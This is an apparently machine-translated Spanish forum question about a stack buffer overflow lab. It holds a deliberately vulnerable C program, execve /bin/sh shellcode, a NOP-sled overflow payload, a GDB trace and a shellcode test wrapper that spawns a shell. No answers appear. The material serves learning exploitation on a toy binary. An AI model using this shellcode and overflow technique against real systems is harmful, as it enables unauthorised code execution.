Shellcode no se ejecuta correctamente

1

Logré que Shell codificara el código de shell al construir mi ejecutable sin medidas de seguridad.

Sin embargo, no parece que se ejecute.

Aquí está la fuente de C de mi programa vulnerable:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int check_password(char *password){
    int retval = 0;
    char possible_password_1[16] = "possiblepasswrd";
    char possible_password_2[16] = "drwssapelbissop";
    char user_input_password[16];

    strcpy(user_input_password, password);

    if(!strcmp(possible_password_1, user_input_password))
        retval = 1;

    if(!strcmp(possible_password_2, user_input_password))
        retval = 2;

    return retval;
}

int main(int argc, char *argv[]){
    if(argc < 2){
        printf("Not enough arguments\n");
        return -1;
    }

    int correct = check_password(argv[1]);
    if(correct)
        printf("CORRECT PASSWORD\n");
    else
        printf("INCORRECT PASSWORD\n");

    return 0;
}

Aquí está el código de shell que estoy usando:

00000000: 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50  1.Ph//shh/bin..P
00000010: 53 89 e1 b0 0b cd 80                             S......

Aquí está el búfer que le doy a mi programa:

00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
00000010: 90 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73  .........1.Ph//s
00000020: 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80  hh/bin..PS......
00000030: 0c f3 ff bf 0c f3 ff bf 0c f3 ff bf 0c f3 ff bf  ................
00000040: 0c f3 ff bf                                      ....

Aquí hay una parte de la pila antes de la llamada de strcpy (los últimos 4 bytes son la dirección de retorno):

0xbffff310: 0xb7fff000  0xb7fff918  0xbffff330  0x73777264
0xbffff320: 0x65706173  0x7369626c  0x00706f73  0x73736f70
0xbffff330: 0x656c6269  0x73736170  0x00647277  0x00000000
0xbffff340: 0x00008000  0xb7fb1000  0xbffff378  0x08048523

Aquí está la misma parte de la pila después de la llamada de strcpy:

0xbffff310: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff320: 0x90909090  0x50c03190  0x732f2f68  0x622f6868
0xbffff330: 0xe3896e69  0xe1895350  0x80cd0bb0  0xbffff30c
0xbffff340: 0xbffff30c  0xbffff30c  0xbffff30c  0xbffff30c

Aquí está el código de shell en la memoria (que se señala en la dirección de retorno sobrescrita):

0xbffff30c: nop
0xbffff30d: nop
0xbffff30e: nop
---snip---
0xbffff325: xor    eax,eax
0xbffff327: push   eax
0xbffff328: push   0x68732f2f
0xbffff32d: push   0x6e69622f
0xbffff332: mov    ebx,esp
0xbffff334: push   eax
0xbffff335: push   ebx
0xbffff336: mov    ecx,esp
0xbffff338: mov    al,0xb
0xbffff33a: int    0x80

Establecí un punto de interrupción en 0xbffff325 y se ve afectado:

(gdb) b *0xbffff325
Breakpoint 5 at 0xbffff325
(gdb) c
Continuing.

Breakpoint 5, 0xbffff325 in ?? ()
(gdb) x/10i $eip
=> 0xbffff325:  xor    eax,eax
   0xbffff327:  push   eax
   0xbffff328:  push   0x68732f2f
   0xbffff32d:  push   0x6e69622f
   0xbffff332:  mov    ebx,esp
   0xbffff334:  push   eax
   0xbffff335:  push   ebx
   0xbffff336:  mov    ecx,esp
   0xbffff338:  mov    al,0xb
   0xbffff33a:  int    0x80
(gdb) i r eip
eip            0xbffff325   0xbffff325

Luego paso a través de cada instrucción y me aseguro de que se ejecute correctamente:

(gdb) x/i $eip
=> 0xbffff325:  xor    eax,eax
(gdb) si
0xbffff327 in ?? ()
(gdb) i r eax
eax            0x0  0
(gdb) x/i $eip
=> 0xbffff327:  push   eax
(gdb) si
0xbffff328 in ?? ()
(gdb) x/wx $esp
0xbffff34c: 0x00000000
(gdb) x/i $eip
=> 0xbffff328:  push   0x68732f2f
(gdb) si
0xbffff32d in ?? ()
(gdb) x/wx $esp
0xbffff348: 0x68732f2f
(gdb) x/i $eip
=> 0xbffff32d:  push   0x6e69622f
(gdb) si
0xbffff332 in ?? ()
(gdb) x/wx $esp
0xbffff344: 0x6e69622f
(gdb) x/i $eip
=> 0xbffff332:  mov    ebx,esp
(gdb) x/wx $ebx
0x0:    Cannot access memory at address 0x0
(gdb) si
0xbffff334 in ?? ()
(gdb) x/wx $ebx
0xbffff344: 0x6e69622f
(gdb) x/i $eip
=> 0xbffff334:  push   eax
(gdb) x/wx $eax
0x0:    Cannot access memory at address 0x0
(gdb) si
0xbffff335 in ?? ()
(gdb) x/wx $esp
0xbffff340: 0x00000000
(gdb) x/i $eip
=> 0xbffff335:  push   ebx
(gdb) x/wx $ebx
0xbffff344: 0x6e69622f
(gdb) si
0xbffff336 in ?? ()
(gdb) x/i $eip
=> 0xbffff336:  mov    ecx,esp
(gdb) x/wx $esp
0xbffff33c: 0xbffff344
(gdb) si
0xbffff338 in ?? ()
(gdb) x/wx $ecx
0xbffff33c: 0xbffff344
(gdb) x/i $eip
=> 0xbffff338:  mov    al,0xb
(gdb) si
0xbffff33a in ?? ()
(gdb) i r al
al             0xb  11
(gdb) x/i $eip
=> 0xbffff33a:  int    0x80
(gdb) si
0xbffff33c in ?? ()

Sin embargo, después de hacer la llamada al sistema, no hay shell. El programa continúa la ejecución, intenta leer las direcciones como instrucciones y aparece un error de instrucción no válida: Program received signal SIGILL, Illegal instruction. 0xbffff33d in ?? () . ¿Cuál podría ser la causa de esto?

Gracias por cualquier ayuda.

EDITAR: el código shell funciona con el contenedor C:

yapoz@potato:~/Documents/Pentesting/my$ cat shellcode_demo.c
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
    ((void (*)())shellcode)();
}
yapoz@potato:~/Documents/Pentesting/my$ gcc shellcode_demo.c -zexecstack -fno-stack-protector -o shellcode_demo
yapoz@potato:~/Documents/Pentesting/my$ ./shellcode_demo
$ echo $0
/bin//sh
$ exit
yapoz@potato:~/Documents/Pentesting/my$ 
    
pregunta Yapoz 08.12.2016 - 04:49
fuente

0 respuestas

Lea otras preguntas en las etiquetas